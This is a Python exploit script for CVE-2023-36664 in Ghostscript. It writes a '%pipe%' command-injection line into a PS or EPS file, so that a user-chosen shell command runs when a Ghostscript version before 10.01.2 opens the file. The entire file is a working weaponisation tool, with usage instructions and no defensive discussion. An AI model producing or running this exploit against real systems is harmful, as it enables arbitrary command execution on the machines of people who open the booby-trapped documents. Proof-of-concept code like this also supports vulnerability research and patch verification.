# @jakabakos
# Exploit script for CVE-2023-36664
# Injects code into a PS or EPS file that is triggered when opened with Ghostscript version prior to 10.01.2
# Tested with Ghostscript version 10.01.1

import sys
import os

def modify_postscript_file(input_file, payload):
    try:
        # Validate input file extension
        valid_extensions = ['.ps', '.eps']
        file_name, file_extension = os.path.splitext(input_file)

        if file_extension.lower() not in valid_extensions:
            print("[-] Error: Invalid input file format. Supported formats: .ps and .eps")
            return

        # Read the content of the input file
        with open(input_file, 'r') as file:
            content = file.readlines()

        modified_content = []

        # Modify content based on file format
        if file_extension.lower() == '.ps':
            modified_content.append(f'(%pipe%{payload}) (w) file /DCTDecode filter\n')
            modified_content.extend(content)
        elif file_extension.lower() == '.eps':
            injected = False
            for line in content:
                if line.strip() and not line.strip().startswith('%') and not injected:
                    modified_content.append(f'\n(%pipe%{payload}) (w) file /DCTDecode filter\n')
                    injected = True
                modified_content.append(line)

        # Create the modified file
        output_file = f'{file_name}_injected{file_extension}'
        with open(output_file, 'w') as file:
            file.writelines(modified_content)

        print(f"[+] Modified file created: {output_file}")

    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("[-] Usage: python3 exploit.py <input_file> <payload>")
    else:
        input_file = sys.argv[1]
        payload = sys.argv[2]
        modify_postscript_file(input_file, payload)